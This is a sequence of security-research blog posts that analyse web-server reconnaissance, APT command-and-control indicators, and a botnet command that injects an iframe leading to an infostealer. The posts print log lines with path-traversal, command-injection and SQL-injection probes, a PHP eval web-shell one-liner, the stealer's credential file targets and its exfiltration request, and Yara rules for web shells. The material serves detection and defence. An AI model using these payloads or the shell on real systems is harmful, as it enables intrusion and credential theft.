At Shadowserver we have observed cyber threat actors use strategic web compromise as an avenue to infect high-value victims.  In this context, we define a strategically important website as one that attracts  specific audiences – audiences that a threat actor is interested in targeting.

There are a number of ways that a threat actor can gain administrative access to a strategically important website. One obvious avenue of access is via spear phishing. A threat actor could send well-crafted emails with malicious links or attachments to targets in an organization. Once the threat actor has gained a foothold within the targeted organization they could move laterally until they gain access to the victim organization’s web servers.

Another more direct route, one that we will discuss in more detail here, is via web vulnerability scanning.

Shadowserver recently aided a victim organization that maintained a website that drew an audience of policymakers, academics, and members of industry. The victim organization had been compromised and their website was altered by an APT threat actor so that it redirected visitors to another malicious website serving an exploit. We conducted a detailed analysis of the victim’s weblogs and found evidence of multiple attempts to gain access to the organization’s web server through brute force scanning by more than one threat actors. While it is unclear if these scanning operations were related to the later website compromise, we believe that consistent review of the web logs would have alerted the victim to potential threats prior to the alteration of their website.

Each of the actors began their scanning operation by traversing links off the homepage of the targeted organization’s website and by requesting common directory and file paths.  The following log excerpt shows the GET request where the threat actor discovered an open log directory on the target organizations website:

“GET /logs/ HTTP/1.1″ 200

The actors then downloaded all the available web access logs. These access logs provided the adversary with a map to the target’s website as well as a detailed profile of the website’s visitors. Open log directories present a clear threat as they provide an adversary with an easy way to conduct reconnaissance for future attacks. We recommend against providing open access to web logs.

We then observed the threat actors search for admin consoles on the targets website:

“GET /web-console/ HTTP/1.1″ 404

“GET /phpmyadmin/main.php HTTP/1.1″ 404

“GET /mysql/main.php HTTP/1.1″ 404

“GET /db/main.php HTTP/1.1″ 404

“GET /dbadmin/main.php HTTP/1.1″ 404

“GET /memberlist HTTP/1.1″ 404

We also saw the actors conduct reconnaissance for sensitive information:

“GET /private.key HTTP/1.1″ 404

“GET /database.inc HTTP/1.1″ 404

“GET /webstats.html HTTP/1.1″ 404

“GET /schema.sql HTTP/1.1″ 404

“GET /customers.xls HTTP/1.1″ 404

“GET /images/passwords.mdb HTTP/1.1″ 404

Data gathered from the above reconnaissance could have been used as intelligence in support of the attack to gain access to the targets website, or the data could be used to support future attacks against the target organization and its partners or customers.

The actors then continues to probe for a variety of web vulnerabilities:

“GET /%0d%0a%20SomeCustomInjectedHeader%3ainjected_by_wvs HTTP/1.1″ 404

“GET /Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAucG5n HTTP/1.1″ 404

“GET /../..//../..//../..//../..//../..//etc/passwd%00 HTTP/1.1″ 404

“GET /%26cat%20%2fetc%2fpasswd HTTP/1.1″ 404

“GET /New%20folder%20(2) HTTP/1.1″ 404

“GET /response.write(9674459*9948960) HTTP/1.1″ 404

“GET /index.php?cat=-1%20union%20select%200,concat(user_login,char(32),user_pass),0,0,0%20from%20an_users HTTP/1.1″ 404

Finally, we observed evidence of the actors scanning for web shells on the target website:

“GET /r57shell.php HTTP/1.1″ 404

“GET /shell.php HTTP/1.1″ 404

“GET /dra.php HTTP/1.1″ 404

“GET /lol.php HTTP/1.1″ 404

“GET /php-backdoor.php HTTP/1.1″ 404

“GET /aspxspy.aspx HTTP/1.1″ 404

“GET /images/c99.php HTTP/1.1″ 404

While the GET requests we observed returned a 404 ‘File Not Found’ error code, had one of the requests returned a 200 it is likely the actors would have proceeded to exploit the existing web shell as a means to access the targets web server. This example demonstrates that targeted threat actors could easily leverage the work done by more conventional cyber criminals to gain access to strategically important websites.

In total, we observed 3 different scanning operations from 4 different source ips. The first scanning operation occurred in August of 2012 and the most recent occurred in February 2013. The longest scanning operation occurred over a 20 hour window and the shortest was completed in 1 hour. On average these scans generated approximately 8000 requests for resources from the target website. Further, each of these scanning operations generated an unusually high number of 404 “File Not Found” error codes.

Further analysis revealed that the victim web server actually had three different PHP-based webshell backdoors on it. Two of the webshells were on the server at the time of the aforementioned scanning and were actually stumbled upon by the attackers (unbeknownst to them). These two webshells were simple one-liners that take data sent via POST and passed through a variable named ‘cmd’. The source of these webshells appeared as follows:

<?php @eval($_POST['cmd']);?>

The simple one-line file is dangerous, as it will process any commands sent to the ‘cmd’ variable. It essentially provides the attacker with remote access to the system with the privileges of the user context that the webserver is running under. This simple one-liner is often found as a standalone file or can be inserted into an existing legitimate file to make it harder to find. The attackers in this case timestomped the files so that they appeared to be the same age as other files in the directory. This technique is often used to evade detection by the human eye when looking through directories for new or recently modified files.

To combat this threat we recommend that organizations conduct regular and thorough log analysis in an effort to detect anomalous activity. Analysts should examine logs for:

• An unusual number of requests from a single or small group of ip addresses across a narrow window of time
• An unusual number of 404s generated by a single or small group of ip addresses across a narrow window of time
• Any requests for known web shells such as c99.php
• Any suspicious request that appears to exploit vulnerabilities such as SQLi or XSS
• POST requests to files that you don’t recognize or do not typically accept POST data
• Files being accessed with what appear to be commands issued to them via URI parameters (GET being used vs POST)

Defenders should take careful note of ip addresses that generate requests fitting the above profile and adjust their defensive perimeter accordingly.

As discussed in the paper “Intelligence-Driven Computer Network Defense Informed by Analysis of Adversary Campaigns and Intrusion Kill Chains”, the first stage of a targeted attack is reconnaissance.  The authors, Hutchins, Cloppert, and Amin write that reconnaissance is the “research, identification and selection of targets, often represented as crawling Internet websites such as conference proceedings and mailing lists for email addresses, social relationships, or information on specific technologies.”

The detailed log analysis suggested above will help organizations uncover this reconnaissance activity and may well provide a leading indicator of targeted threat activity. As we expect targeted attackers to continue the use of strategic web compromise as a method of attack we believe log analysis to be a vitally important component of computer network defense.

We also recommend that organization employ a tool like Yara to scan the files on their web servers. Yara will enable defenders to identify and classify any malicious web shells found on their web server. The signatures below were generously donated by friend of Shadowserver Phil Burdette and will detect simple variations of the ever-common c99 web shell.

rule C99madShell
{
meta:
date = “2013-05-06″
reference md5 = “d8f9fbbc7a0bc702c15a5318cc618b99″
url_ref = “http://www.derekfountain.org/security_c99madshell.php”
strings:
$a = “find all suid files”
$b = “find suid files in current dir”
$c = “find all sgid files”
$d = “find sgid files in current dir”
$e = “find config.inc.php files”
$f = “find config* files”
$g = “find config* files in current dir”
$h = “find all writable folders and files”
$i = “find all writable folders and files in current dir”
$j = “find all service.pwd files”
$k = “find service.pwd files in current dir”
$l = “find all .htpasswd files”
$m = “find .htpasswd files in current dir”
$n = “find all .bash_history files”
$o = “find .bash_history files in current dir”
$p = “find all .fetchmailrc files”
$q = “find .fetchmailrc files in current dir”
$r = “list file attributes on a Linux second extended file system”
$s = “show opened ports”
condition:
all of them
}

 

rule C99madShell_encoded
{
meta:
date = “2013-05-06″
url_ref = “http://www.derekfountain.org/security_c99madshell.php”
strings:
$a = “eval(gzinflate(base64_decode(‘HJ3HkqNQEkU”
condition:
$a
}

 

rule suspect_eval
{
meta:
date = “2013-05-06″
url_ref =”http://blog.shadowserver.org/2013/05/06/breaking-the-kill-chain-with-log-analysis/”
strings:
$a = “eval($_POST[”
$b = “eval($_GET[”
condition:
1of them
}

It is important to note that the above signatures will only detect basic variations of a common web shell. A threat actor may use any number of  different less available web shells. As such, defenders should conduct additional research and compile a robust list of signatures designed to identify and classify web shells. Additionally, it’s possible you have legitimate files where one of the above may fire, in particular the suspect_eval signature. You know your environment best and should determine if these are legitimate concerns or false positives.

Good luck and happy hunting!

As individuals and as a group we have been collecting malware for many years. The Shadowserver Foundation repository dates back to 2005 and we collected our first million shortly after we actually started counting. I still remember my excitement when we hit our first million. Within a month I was astounded as we hit our second million, and then worried when the third million rolled in a week later.

As the counts only continued to grow my fascination turned to horror. Because not only did I have to count all these objecting coming in, I had to store and analyze them all as well.

Counting

Realizing that we only had a growing problem we had to decide how to count and how to differentiate between the different files we were tracking. We quickly settled upon SHA512 as the base index to ensure that there should never be a collision of hashes, but also added in SHA1 and MD5 so that we could at the same test for collisions in those smaller hash values. We have yet to see a collision with any file we have collected yet but continue to test each file.

In the earlier days we collected all the files ourselves via a variety of technologies that were publicly available. As we grew so did our feeds of files. We now have many partners that we receive malicious files from and just from the running of the malware we collect additional binaries. Unfortunately as we add in the partner feeds we also increased our parallelism in how we imported in all the data.

This was a great thing for our backend systems but introduced an accounting issue for the binaries themselves. Because we were trying to count uniqueness of files in specific time periods it caused us to over count the files we brought in. The system had several relief valves as well in case the system got overloaded. The combination of these two items over time has inflated our total count by a fair amount.

In fact, we over counted by 30 million over the last eight years. This was discovered when we began digging into some new feeds and were very interested in the actual unique counts because of how the data was being collected. We really wanted to see the files that were not being seen by any other source. This brought to light our counting issue. The backend system had already reconciled the differences, but our statistics showed a completely different number.

This is because where possible we generate as many of our statistics on the fly during importing and processing. Post processing of anything is a much more painful endeavor. Now knowing where the issues were, we forced a recount of everything we had from different sources and reconciled the statistics system. We have also changed the counting methodology such that the miscounting would not occur again.

Still Counting Up

So, if you are an avid watcher of our statistics you will have seen a recent drop of our total malware count from 220 million unique files to 190 million unique files. Although if you were not looking close enough you might have missed it since we also regenerated all of our charts to reflect the new counting.  Which can be see here.

Conclusion

The lesson for us was that we tend to deploy systems and let them run for years while expanding their capability as needed. But there can always be unintended consequences when so many of the systems are tied together for multiple purposes. For us this became evident with what we thought was just simple counting.

By Steven Adair

A cyber espionage threat group, frequently known as the Comment Group, has recently received a good bit of extra attention in the last few days. On Monday (February 18, 2013) Mandiant released a report detailing a substantial amount of information on the group. In particular it listed a large number of domain names, IP addresses (both command & control and administrative ranges), a very large list of their trojan families (with MD5 hashes to boot), a bit of attribution aimed at outing the group as part of a particular unit within China’s People Liberation Army (PLA), and some of the group’s general tactics techniques and procedures (TTPs). There is a staggering amount of information for people to sift through and as a result there have been many questions raised and confusion around some of the data. In this post I am hoping to add some clarity to the information and clear up some confusion that might help defenders, incident responders, and researchers make more effective use of this data.

As someone who has been looking at, researching, and often combating the Comment Group out of networks for the past 6+ years as either part of my day job, work at Shadowserver, or in my spare time, it is a bit fun to see the spotlight shine on these guys a little bit. It is quite accurate to say that they are one of the largest and certainly the most prolific cyber espionage groups targeting networks worldwide. Like all organizations they are a mix of good and bad. There has been some of the worst and funniest stuff we have ever seen attributed to these guys, and we have also seen some all stars who are absolute wizards on the command prompt. One thing is for certain, the Comment Group has been quite successful at breaching hundreds (likely thousands) of organizations in the past few years. In most cases their method for breaching organizations is fairly “low-tech”, however, it works quite well and easily beats millions upon millions of dollars of layered security measures employed at many organizations ranging from mom & pop shops to the largest companies and government organizations in the world.

Command & Control: Domains, Dynamic DNS, and Compromised Websites

Domains: Threat Actor vs Security Researcher vs Domain Parking

The Comment Group, like most notable threat groups, employs a variety of techniques when it comes to spear phishing and victim command and control. Of note was the recently released list of 107 domain names that are or were at one point controlled by the Comment Group. It should be noted that this list is not (and likely was not meant to be) comprehensive and a substantial number of domains in the list have been taken over or re-registered post domain expiration. The idea that these domains may no longer be in control of the Comment Group’s control is referenced in the APT1 report. We feel that due to the significant number of hostnames that are no longer in the Comment Group’s control, this point is worth re-addressing here. Interaction with these domains  may still represent an infected device, although the end server would likely not be part of the Comment Group’s infrastructure. In order to help clarify portions of this, a partial list of the hostnames that have expired, been re-registered, or have been taken over are listed below. It should also be noted that for these domain lists, they were controlled by the Comment Group. This means that you should focus your efforts on the domain itself and worry less about the subdomain. For example, if you see activity to any subdomain on purpledaily.com, this should trigger alarms of concern. Do not focus on a specific list of subdomains, which may not be comprehensive. It is also worth noting that many of the subdomains on the list have not been used or have not been in the zonefile related to a particular domain for several years in some cases.

In particular, we took note last week that 26 Comment Group domains registered with GoDaddy appear to have been taken over on February 13, 2013 (and in some cases late January). Each one of these domain names had their name servers modified and then began to resolve to different IP addresses spread out over different IP addresses at Linode. This does not appear to have been a move by the Comment Group and is likely related to security research and/or potentially this past Monday’s report release. The follow is a list of the updated name servers, domain names that were modified, and the IP addresses to which they resolve(d).

New name servers:

NS1.BUILDATOP.COM – 198.74.51.202
NS2.BUILDATOP.COM – 178.79.171.141

Domain Names:

aoldaily.com
aunewsonline.com
canadatvsite.com
canoedaily.com
cnndaily.com
cnndaily.net
defenceonline.net
downloadsite.me
e-cardsshop.com
hvmetal.com
jobsadvanced.com
mcafeepaying.com
micyuisyahooapis.com
nationtour.net
newsonlinesite.com
onefastgame.net
pop-musicsite.com
satellitebbs.com
symanteconline.net
syscation.com
tibethome.org
todayusa.org
usabbs.org
usnewssite.com
usnftc.org
voiceofman.com
yahoodaily.com

Also on these same name servers, but newly registered (not taken over) are the following:

copporationnews.com
maltempata.com
usnftc.org

Related IP addresses (not necessarily hostile destinations but traffic to them should be considered suspect):

106.186.16.96
106.186.19.222
106.186.19.25
106.186.21.158
106.186.21.187
106.187.45.184
151.236.220.199
173.255.201.81
173.255.228.165
176.58.110.112
178.79.171.6
178.79.179.226
192.155.90.150
192.155.92.64
192.155.93.57
192.81.129.132
198.58.104.183
198.58.96.236
50.116.18.118
50.116.42.33
66.175.210.225
66.228.48.134
66.228.53.110
66.228.54.200
96.126.108.231

Additional comment group domains that have expired/been re-registered (e.g. not Comment Group controlled):

bigdepression.net
blackberrycluter.com
blackcake.net
chileexe77.com
cnnnewsdaily.com
conferencesinfo.com
dnsweb.org
earthsolution.org
globalowa.com
hkcastte.com
infosupports.com
issnbgkit.net
lksoftvc.net
mediaxsds.net
msnhome.org
nirvanaol.com
olmusic100.com
pcclubddk.net
progammerli.com
regicsgf.net
safalife.com
searchforca.com
softsolutionbox.net
sportreadok.net
tfxdccssl.net
worthhummer.net

As you can see this list already cover about 50% of the domains in the released list. Just keep this in mind before you treat some of the IP addresses involved as hostile actors. Another thing to note is that your organization could have easily been victimized and never seen traffic to any of these domains. At any given point in time there are often no more than a handful of victims that will be pointed at a particular fully qualified domain name (FQDN). These FQDNs are transient and typically only used for a short period of time. The rest of command and control activity is often either done using other domains, dynamic DNS, or legitimate compromised websites (continue reading).

Dynamic DNS: Non-hostile Domains but Dangerous Subdomains

Many threat groups use dynamic DNS services in order to control their victims. There is always a trade off for a threat actor when it comes to using their own domains, free dynamic DNS services, or skipping DNS altogether and going direct to IP addresses. There are advantages and disadvantages to each one, and many threat groups leverage a mix of each. The Comment Group is no different. In fact, a sizable amount of their infrastructure and malware utilize free dynamic DNS services. In particular the Comment Group makes heavy use of ChangeIP.com and Afraid.org. They have and continue to use other providers too (CN99: 3322.org, 6600.org, 8800.org, etc, No-IP, DynDNS, and others). Keeping a close eye on dynamic DNS service activity in your network would be prudent.

Just a quick handful of examples of Comment Group dynamic DNS usage (some fairly old) that you can see in public malware reports for are listed below:

back.sux.ms – http://www.threatexpert.com/report.aspx?md5=920ff39210be3565a25842c32b9446f6
effection.ddns.us – http://www.threatexpert.com/report.aspx?md5=b29556856203049b9e7b05e01f5ae73f
conference.ddns.us – http://urlquery.net/report.php?id=255027
finance.acmetoy.com – https://www.virustotal.com/en/file/e9ab61c6c9673698defece13789ee02d8b8806ca77ee14c4ef182e4260b6574e/analysis/

Sample of other related dynamic DNS host name:

activation.ddns.us
armyconference.acmetoy.com
cnndaily.acmetoy.com
documents.ddns.info
documents.longmusic.com
documents.myftp.info
download.onmypc.net
effection.acmetoy.com
updating.ddns.info

Legitimate Compromised Websites

A favored technique of the Comment Group is the use of legitimate compromised websites to host spear phishing files (usually ZIPs with an EXE or CHM file in them) or stage one command and control. In case it wasn’t clear, the Comment Group gets their name from a substantial amount of their malware receiving its commands from parsing HTML files (sometimes ASP and other file extensions as well) with embedded HTML comment tags in them “<!–” and “–>“. The commands are presented in a variety of ways ranging from cleartext, to simple base64, on up to using multiple encoding formats that involve real encryption. A substantial portion of this activity and victim management occurs over legitimate websites that have been compromised. These are often referred to in the Comment Group malware directly by IP address or by actual legitimate domain names hosted on the compromised web server. In the last few years we have encountered hundreds of compromised websites used for Comment Group command and control. Many of them are often short-lived, but others have remained in use for quite some time as well. The best way to detect this activity is to look for network traffic that contains many of the referenced patterns. Additional, various header items from HTTP GET and POST requests and particularly a variety of invalid User-Agents can be used for detection.

IP Address Ranges

One thing also worth addressing that appears to be causing some confusion are some of the IP ranges that are often used by the Comment Group for administrative functionality. There are few things to note on these ranges. The first is that most of these ranges in China (not including Hong Kong) are dynamic and short-lived. An IP address in these ranges will not likely belong to a particular person for longer than a few days.  This means if a particular IP address was used for RDP, FTP, in an htran connection, or anywhere else that it will not likely be a good indicator beyond a few hours to days following observation of active use. It should also be noted that there are plenty of normal non-APT actors in these same IP address ranges that are infected with Conficker and other malware that scans the Internet just like everyone else. In particular for some of the more prolific ranges, if you see connections from them, please take it with a grain of salt:

223.166.0.0 – 223.167.255.255
58.246.0.0 – 58.247.255.255
112.64.0.0 – 112.65.255.255.
139.226.0.0 – 139.227.255.255

In particular it is worth noting that the Comment Group has not been observed using 58.246.0.0 – 58.247.255.255 for several months now. The threat actors that were observed using this IP address space were updated to us 223.166.0.0 – 223.167.255.255. That range should be considered legacy at this point.

Devastating Impact?

Will the outing of so much of the Comment Group’s infrastructure have a devastating impact on their operation? Time will tell the answer, but in the short term I would answer with a resounding, no. That’s not to say the Comment Group has not made changes. A number of changes have already been observed. Several domains and dynamic DNS hostnames are now pointing to loopback or parking addresses. A few of the domain names have received, what appears to be threat actor controlled, WHOIS information updates. In particular the domain name hugesoft.org has had its registrant information changed. The new e-mail address for this domain is now anonymous@anonymous.com. Something tells me they don’t have control of that mailbox, but then again it wouldn’t surprise me if they did.

Most notably is that from other global vantage points we can see it is business as usual with the Comment Group. They are continuing operations and even continue to work from IP address ranges that were outed in the APT1 report. This includes IP ranges listed in the previous section. We have also learned that ISPs have begun contacting some of the owners of IP blocks that Comment Group command and control has been occurring from telling them that they have put 72-hour blocks to the address in place. It remains to be seen how effective those steps may be, especially when some of the information they are working from is a bit outdated. I’d expect that more and more of their infrastructure will be outed by security researchers, AV companies, and other players in the coming weeks. We will just have to kick back and see what happens. It will be interesting to see what else the Comment Group might change in the next few months, but I am not expecting them to shut down and close up shop any time soon.

(Note: the post was originally written on Aug 8th 2012)

You track botnets? Right, we do as well.
You spent your weekends building your slick botnet trackers and some fancy web interface? Damn, we did too.

But let’s face the truth, DDoS is f**king boring. What gives better sense to your day than some random crook trolling you and your monitoring infrastructure? Nothing.
So here’s what happened today…

Since I’m not really following the DDoS scene a lot lately, I kinda left over for some time the trackers that I built and that we are using internally in Shadowserver. Today I decided to open it up again just to show it some love and check if there was anything interesting being targeted, while sipping my coffee.
I was expecting the usual amount of porn websites, random Russian forums, Lineage II shards and the traditional average target for the traditional average botnet, but that wasn’t the case today… something stood up.

One of the DirtJumper botnets we are tracking, located on the domain “bnbgcw.com” started spreading some weird commands:

The beginning of the command is a traditional DirtJumper response, some basic parameters (like threads, duration of attack, delay of C&C polling and such) separated by a dash and followed by the actual target of the DDoS attack, and here comes the funny thing. Appended to the original target (which was already being attacked previously and that isn’t really relevant for us at this stage) is a whole bunch of obfuscated JavaScript code.

I removed the whole obfuscated code, but you can see it decoded as follows:

So what this thing does in short is:

1. dynamically generate a domain out of a given seed and the current date
2. use the domain to build a landing URL
3. embed the URL in an <iframe> which is then printed in the page body

So, assuming that this guy is not dumb enough to possibly try to magically remote exploit or inject the target page through the use of his botnet, my idea is that what he is actually trying achieve is exploit security researchers like us that are tracking his own botnet.
It’s actually quite a sharp idea: your tracker pulls the command from his C&C, store it in some sort of database and print it in your fancy web interface, you didn’t bother to sanitize the data, the <iframe> gets embedded in your own page and BANG, your pwned.

If you run the URL through Thug (thanks Angelo!), you’ll see that the page (when meeting certain requirements) actually redirects to:

hxxp://wertbuy.toythieves[.]com/main.php?page=9dd146e88937797b

A BlackHole setup which, after a failed attempt of loading a Java applet Torb.jar (1/41), successfully used the infamous Microsoft MDAC RDS.Dataspace ActiveX vulnerability to exploit the browser and drop the payload. Nothing new, traditional BlackHole behavior, but you can find the complete Thug report here.
Upon successful exploitation, it drops a  payload with the following characteristics:

File size: 348672 bytes
File type: PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
CRC32: C9ABC946
MD5: 4ce73d6a52bfa3f56c67942f8ebf2c69
SHA1: 6ce4f9bbf786f69a51d7f54e2cc190e438eb1c24
SHA256: ac81dc130e331d6e0f09e58b520981776aebfaf8e3dab68e96d4e2252b0a6f7c
SHA512: b2d7edba3470c179873555e2937cd28c471a6b4da83632157d27cc7d2d58caffe97f7a2fc63199ed83d3d251fd0dbae849b86a1860234aecac0594e18bdd5036
Ssdeep: 1536:Qy23ZX+7rtoub3aBsUV+xhhD2a4ToJsQ0fd3AonLa:Qy2Ngr3Ev+tya99

We are not sure yet about the nature of the malware as it an extremely low detection rate (1/40), but it looks consistent to Pony, a loader and infostealer widely used in ZeuS campaigns.
The first reason we believe it is because, just like Pony, this sample is not persistent: it executes from the memory, deletes itself and just disappear.
The second reason is because of the data it tries to collect and steal:

C:\Documents and Settings\User\Application Data\GlobalSCAPE\CuteFTP\sm.dat
C:\Documents and Settings\User\Application Data\GlobalSCAPE\CuteFTP\
C:\Documents and Settings\User\Application Data\GlobalSCAPE\CuteFTP Pro\sm.dat
C:\Documents and Settings\User\Application Data\GlobalSCAPE\CuteFTP Pro\
C:\Documents and Settings\User\Application Data\GlobalSCAPE\CuteFTP Lite\sm.dat
C:\Documents and Settings\User\Application Data\GlobalSCAPE\CuteFTP Lite\
C:\Documents and Settings\User\Application Data\CuteFTP\sm.dat
C:\Documents and Settings\User\Application Data\CuteFTP\
C:\Documents and Settings\User\Application Data\FlashFXP\3\Sites.dat
C:\Documents and Settings\User\Application Data\FlashFXP\4\Sites.dat
C:\Documents and Settings\User\Application Data\FlashFXP\3\Quick.dat
C:\Documents and Settings\User\Application Data\FlashFXP\4\Quick.dat
C:\Documents and Settings\User\Application Data\FlashFXP\3\History.dat
C:\Documents and Settings\User\Application Data\FlashFXP\4\History.dat
C:\Documents and Settings\User\Application Data\FileZilla\sitemanager.xml
C:\Documents and Settings\User\Application Data\FileZilla\recentservers.xml
C:\Documents and Settings\User\Application Data\FileZilla\filezilla.xml
C:\Documents and Settings\User\Application Data\SmartFTP\
C:\Documents and Settings\User\Application Data\TurboFTP\
C:\Documents and Settings\User\Application Data\FTP Explorer\
C:\Documents and Settings\User\Application Data\Frigate3\
C:\Documents and Settings\User\Application Data\VanDyke\Config\Sessions\
C:\Documents and Settings\User\Application Data\Mozilla\Firefox\profiles.ini
C:\Documents and Settings\User\Application Data\Mozilla\Firefox\Profiles\abcdefgh.default\
C:\Documents and Settings\User\Application Data\Mozilla\Firefox\Profiles\abcdefgh.default\bookmarkbackups\
C:\Documents and Settings\User\Application Data\Mozilla\Firefox\Profiles\abcdefgh.default\minidumps\
C:\Documents and Settings\User\Application Data\Mozilla\Firefox\Profiles\abcdefgh.default\signons.sqlite
C:\Documents and Settings\User\Application Data\Mozilla\Firefox\Profiles\abcdefgh.default\secmod.db
C:\Documents and Settings\User\Application Data\Mozilla\Firefox\Profiles\abcdefgh.default\cert8.db
C:\Documents and Settings\User\Application Data\Mozilla\Firefox\Profiles\abcdefgh.default\key3.db

And much much more…

It then establishes a network communication to “coppercreek.ru”:

POST /boi854tr4w.php HTTP/1.0
Host: coppercreek.ru
Accept: */*
Accept-Encoding: identity, *;q=0
Content-Length: 269
Connection: close
Content-Type: application/octet-stream
Content-Encoding: binary
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)

0000010C 43 52 59 50 54 45 44 30 a8 71 d1 89 53 50 b1 e1 CRYPTED0 .q..SP..
0000011C 90 ca 28 0b 58 99 fe 0a ea a0 17 b2 0d 49 95 a6 ..(.X... .....I..
0000012C 7d 62 57 c1 f6 6b 22 8a 27 77 fd ab 9d 4e b1 2a }bW..k". 'w...N.*
0000013C 10 2e 2a 76 9e 62 53 e4 b6 32 c2 14 f8 e5 27 77 ..*v.bS. .2....'w
0000014C 8c aa 85 57 15 4e 06 81 d2 1d c6 79 49 0d 8a ad ...W.N.. ...yI...
0000015C c1 1a b3 b3 3c 35 3d ee 38 ea 3d 5c f0 5a 69 93 ....<5=. 8.=\.Zi.
0000016C bd be d3 43 1b 58 97 1f 97 33 44 e2 cb 1d 52 f5 ...C.X.. .3D...R.
0000017C cb 19 df 47 ba df e8 9e 71 89 92 46 b4 13 14 bd ...G.... q..F....
0000018C 35 b4 84 0b 0d 10 cb d4 37 da 26 f4 0e bd 21 c5 5....... 7.&...!.
0000019C 0b 0b 4d ce 3f fa 95 3e 04 7e fd 50 01 0f 20 da ..M.?..> .~.P.. .
000001AC 68 21 33 41 54 93 44 2e 58 ba 8f 66 f3 c9 d3 6e h!3AT.D. X..f...n
000001BC 7f ee 8d 7b 0b 70 9f 92 ce f8 8d dd 59 db 11 aa ...{.p.. ....Y...
000001CC 29 42 1b ec 9a 20 28 2e 9e 37 f4 40 5e 95 40 79 )B... (. .7.@^.@y
000001DC c1 8b 9e ca 4a dd 05 6a 0f 53 c6 ce 64 c0 ab e3 ....J..j .S..d...
000001EC 75 70 f0 b2 3b ef 1e 8c 53 4e 35 47 5b 17 0f 0a up..;... SN5G[...
000001FC 2a 1c 8c 44 a7 4d cc 9a 7a 09 c2 6d 2a 3f 30 ff *..D.M.. z..m*?0.
0000020C 4a a4 27 92 7c a5 0b 85 e3 e9 eb 9d cf J.'.|... .....

HTTP/1.1 200 OK
Server: nginx
Date: Wed, 08 Aug 2012 16:33:11 GMT
Content-Type: text/html; charset=windows-1251
Content-Length: 16
Connection: close
X-Powered-By: PHP/5.3.15
Vary: Accept-Encoding,User-Agent

STATUS-IMPORT-OK

We are not sure about the nature of the encryption, it will need more time to analyze it. If you already encountered this and you are able to recognize the family, please let us know.
No additional payload was dropped.

It’s very interesting to note that this payload was uploaded both on VirusTotal and on Malwr.com today from a Verizon Wireless connection in USA. As you can see the analysis on Malwr failed (side note: Malwr is currently running a very outdated version of Cuckoo Sandbox, whose version 0.4 is perfectly able to analyze this sample).
This attack has been going on for a couple of days already, but the latest version has been updated today.
A very similar version of this sample, with same behavior and file name, has been uploaded by the same guy a few days earlier on Malwr.com and on VirusTotal again.
In that case the results of Malwr’s analysis as well as Antiviruses detection were much better, therefore, unless some of you guys come up these days to tell me it was him, this makes me believe that the mastermind behind these attacks has been actively trying to enhance his evasion and anti-detection techniques until he reached satisfying results.

This could be a whole big speculation, the guy might just be totally dumb and there was no intention to actually target botnet researchers.
But if this was actually a correct interpretation, it’s a very interesting learning experience and a warning to all the researchers out there feeling safe: our security panopticon could actually turn inside out and making us the ones being watched.

Update #1: the detection rate of the sample increased to 16/41 at this time.

Update #2: Our friend Armin from WebSense informed us that this attack matches with an ongoing campaign that they have been tracking. Seems like this DirtJumper C&C got compromised and it’s distributing the JavaScript code we presented. It’s kinda hilarious, crooks getting pwnd by other crooks, but the result is still the same: some harmful code included in the context of trusted applications as our botnet trackers are.

What started out as only a couple dozen organizations taking advantage of the free security reports provided by Shadowserver has expanded today to over 1,500 organizations, including over 60 national CERT’s, consuming this information with regularity. The industry has also since evolved from pockets of siloed, organization based security remediation, to what is today an industry of like-minded security professionals that also desire to do what is best for the Internet Community as a whole. This is evident by the often formation of community-based public sharing working groups, of which Shadowserver participates in regularly, which collaborate and remediate the latest Internet security threats.

Admittedly in the beginning there were skeptics. There always are when driving change, especially when it forces organizations to have to rethink their current business models of selling/reselling readily available data for profit. As a non-profit organization, Shadowserver remains focused on its mission to improve the security of the Internet through community based sharing of information and not simply on growing profits. We see it as an opportunity to drive faster change and ignite the next wave of change in furthering the industry’s ability to provide higher quality services and capabilities to the market.

Leading the charge for Shadowserver is a team of very passionate, dedicated and highly talented security professionals who volunteer their time because they believe wholeheartedly in the Shadowserver mission, and without whom we would not be where we are today. And, as much as we would like to expand rapidly, both in terms of team and products, we believe rather in steadied growth based on a select volunteer network. This allows us to deliver quality products that our consumers have come to expect and can continue to expect from us in the future.

We are unashamed in our attitude and forthright with our methods and goals and we look forward to continuing to work with and serving the Internet security community for years to come.

The Shadowserver Foundation

In the last year, attackers engaged in cyber espionage have increasingly turned to the web to distribute their malware via drive-by exploits. The idea of distributing malware via drive-by exploits is not new at all. Internet users are constantly at risk from a daily barrage of exploits across the web as a result of mass SQL injections, malicious advertisements, stored cross site scripting (XSS), compromised web servers, etc. In most cases the miscreant’s goal is to serve malicious exploits to as many people as possible from as many locations as they can. This is where the advanced attackers engaged in cyber espionage campaigns tend to set themselves apart from the others and narrow their focus through what we call strategic web compromises.

The goal is not large-scale malware distribution through mass compromises. Instead the attackers place their exploit code on websites that cater towards a particular set of visitors that they might be interested in. In the past few years we have witnessed several strategic web compromises of organizations in a variety of fields with a recurring focus on those involved with freedom of speech, human rights, defense, foreign policy and foreign relations. In these cases, normally trusted websites have been compromised to serve up malicious code designed to give backdoor access into the systems of unsuspecting visitors. In general a well patched system will be immune from many of the attacks, but in several cases previously unknown 0-day exploits (no available patch) have found their way onto these sites — in short the average visitor may not have much of a chance to defend themselves.

A simple one line code addition to a website, such as those seen below, can set off a chain reaction that can spell disaster for an organization.

 

Flash Exploit iFrame Link 1

Flash Exploit iframe Link 2

 

Exploit de Jour

Right now, as you read this, there are a few recent exploits that are being heavily used by attackers engaged in cyber espionage to take a foothold onto various networks. In particular, in the past two weeks, we have seen several strategic web compromises utilize the most recent Oracle Java (CVE-2012-0507) and Adobe Flash (CVE-2012-0779) vulnerabilities. The Java vulnerabilities have been exploited to install malware on both Mac and Windows systems. Macs have been hit fairly hard in recent months, most notably with crimeware via a variant of malware dubbed FlashBack. However, advanced threat malware targeting Human Rights organizations and those in the foreign policy space have also been observed utilizing this exploit to target both OS in more limited attacks.

WARNING: Live Flash and Java Exploits on the Loose

In the last few weeks there has been a notable increase in strategic web compromises used to serve the most recent Flash exploit (targeting Windows users). At the time of this writing, several high profile websites are still compromised and serving the most recent Flash exploit. If successful the exploit will drop malware from attackers typically labeled as the advanced persistent threat or “APT.”

